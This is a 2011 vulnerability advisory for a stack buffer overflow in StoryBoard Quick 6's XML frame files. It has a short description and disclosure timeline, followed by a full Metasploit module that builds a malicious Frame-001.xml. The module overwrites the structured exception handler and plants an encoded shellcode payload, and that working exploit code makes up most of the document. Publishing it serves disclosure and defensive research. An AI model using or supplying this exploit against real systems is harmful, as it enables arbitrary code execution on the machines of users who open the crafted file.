StoryBoard Quick 6 Stack Buffer Overflow

                                                #NameLStoryBoard Quick 6 Stack Buffer Overflow 
#Vendor Website:http://www.powerproduction.com/ 
#Date Released:29/11/2011 
#Affected Software: StoryBoard Quick 6 (potentially also StoryBoard Artist and StoryBoard Studio) 
#Researcher: Nick Freeman ([email protected])


#Description
#Security-Assessment.com has discovered a file format vulnerability in the XML files used to describe frames #in the StoryBoard Quick 6 software. The <string> element used to define a filename was found to be #vulnerable to a buffer overflow, which can be exploited to execute arbitrary code under the context of the #user running StoryBoard Quick 6. Supplying a long file name causes memory corruption within the application.

#By crafting a file that contains more than 507 characters in the <string> field, the StoryBoard Quick 6 #application will use the next 4 characters in an unsafe manner. These four characters are used as a pointer #to the source address for a string copy function. It is possible to write user-supplied data onto the stack #by changing the value of these 4 characters to a memory location containing a pointer to data within the #Frame.xml file. This strcpy function overwrites a significant portion of the stack, including the Structured #Exception Handler.

#Disclosure Timeline:
#Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to PowerProduction Software.
#13/06/2011: First email sent to PowerProduction, asking for contact details for security or developer #personnel.
#17/06/2011: After several attempts to get in contact, PowerProduction asks me for a customer number.
#17/06/2011: Security-Assessment.com replies stating that this issue is exploitable without a customer number. #No response was received from PowerProduction after this email.
#23/06/2011: Security-Assessment.com sends a follow-up email stating that the vulnerability is still present.
#10/07/2011: A final email is sent stating that PowerProduction customers are vulnerable.
#05/11/11: Vulnerability released at Kiwicon V in Wellington, New Zealand.
#19/11/11: Vulnerability released at Ruxcon 2011 in Melbourne, Australia.
#29/11/11: Vulnerability advisory and exploit code published.


require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'StoryBoard Quick 6 Memory Corruption Vulnerability',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in StoryBoard Quick 6.
			},
			'License'        => MSF_LICENSE,
			'Author' 	     => [ 'vt [[email protected]]' ],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'URL', 'http://security-assessment.com/files/documents/advisory/StoryBoard_Quick_6-Stack_Buffer_Overflow.pdf' ]
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'DisableNops'    => true,
					'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'EAX',
						}
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Default (WinXP SP3 No DEP)',
						{
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 30 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  "Frame-001.xml"]),
			], self.class)
	end

	def exploit

		template = %Q|<plist version="1.0">
<dict>
<key>ID</key>
<integer>1</integer>
<key>Objects</key>
<array>
<dict>
<key>Size-X</key>
<real>134.00000000</real>
<key>Size-Y</key>
<real>667.00000000</real>
<key>Type</key>
<string>cLIB</string>
<key>Library</key>
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>
<key>ID</key>
<string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREPLACE_1BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.xo</string>
<key>Colorization</key>
<dict>
<key>Arms</key>
<string>ff4b70ff</string>
<key>Eyes</key>
<string>ff00ff00</string>
<key>Hair</key>
<string>ff68502d</string>
<key>Face</key>
<string>fffdd8a1</string>
<key>REPLACE_2</key>
<string>ff070707</string>
<key>Skin</key>
<string>ffd7b583</string>
<key>Legs</key>
<string>ff06007e</string>
</dict>
<key>Whom</key>
<string>LINDA</string>
<key>Scale-X</key>
<real>0.74842578</real>
<key>Scale-Y</key>
<real>0.74842578</real>
<key>Offset-Y</key>
<real>41.60000610</real>
</dict>
<dict>
<key>Size-X</key>
<real>310.00000000</real>
<key>Size-Y</key>
<real>575.00000000</real>
<key>Type</key>
<string>cLIB</string>
<key>Library</key>
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 2.artgrid</string>
<key>ID</key>
<string>30012.xo</string>
<key>Colorization</key> 
<dict>
<key>Arms</key>
<string>ff909090</string>
<key>Eyes</key>
<string>ff00ff00</string>
<key>Hair</key>
<string>ff090909</string>
<key>Face</key>
<string>ffff0837</string>
<key>Shoe</key>
<string>ff1100c2</string>
<key>Skin</key>
<string>ffb78d4f</string>
<key>Legs</key>
<string>ff050505</string>
</dict>
<key>Whom</key>
<string>C.J.</string>
<key>Scale-X</key>
<real>0.86817396</real>
<key>Scale-Y</key>
<real>0.86817396</real>
<key>Offset-Y</key>
<real>41.60000610</real>
</dict>
<dict>
<key>IsSelected</key>
REPLACE_3<true/>
<key>Size-X</key>
<real>682.00000000</real>
<key>Size-Y</key>
<real>565.00000000</real>
<key>Type</key>
<string>cLIB</string>
<key>Library</key>
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>
<key>ID</key>
<string>30013.xo</string>
<key>Colorization</key>
<dict>
<key>Arms</key>
<string>ff4b70ff</string>
<key>Eyes</key>
<string>ff00ff00</string>
<key>Hair</key>
<string>ff68502d</string>
<key>Face</key>
<string>fffdd8a1</string>
<key>Shoe</key>
<string>ff070707</string>
<key>Skin</key>
<string>ffd7b583</string>
<key>Legs</key>
<string>ff06007e</string>
</dict>
<key>Whom</key>
<string>LINDA</string>
<key>Scale-X</key>
<real>0.95718473</real>
<key>Scale-Y</key>
<real>0.95718473</real>
<key>Offset-Y</key>
<real>62.40469360</real>
</dict>
</array>
<key>FrameDB</key>
<dict>
<key>TXT-0006</key>
<data>
MDYvMDMvMTEgMjM6Mjg6MDMA
</data>
</dict>
<key>UN-Thumb</key>
<true/>
</dict>
</plist>
|

		sploit = template.gsub(/REPLACE_1/, "\xd9\xcf\xe5\x74")

		padd = "\x43" * 4256
		nseh = "\x90\xeb\x06\x90"
		seh  = "\x25\x12\xd1\x72" # POP, POP, RETN
		nops = "\x90"*9

		# set buffer register
		bufregstub =  "\x8b\xc4" 	# mov eax, esp
		bufregstub += "\x33\xc9" 	# xor ecx
		bufregstub += "\x83\xc1\x7f"	# add ecx, 7f
		bufregstub += "\x6b\xc9\x17"	# imul ecx,17
		bufregstub += "\x83\xc1\x7b"    # add ecx,7b
		bufregstub += "\x03\xc1" 	# add eax,ecx # eax now points to buffer, ready to decode shellcode.
		
		sploit = sploit.gsub(/REPLACE_2/,padd + nseh + seh + nops + bufregstub + payload.encoded + ("\x44"*(11137-payload.encoded.length)))
	
		sploit = sploit.gsub(/REPLACE_3/, "\x45"*658)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)

	end

end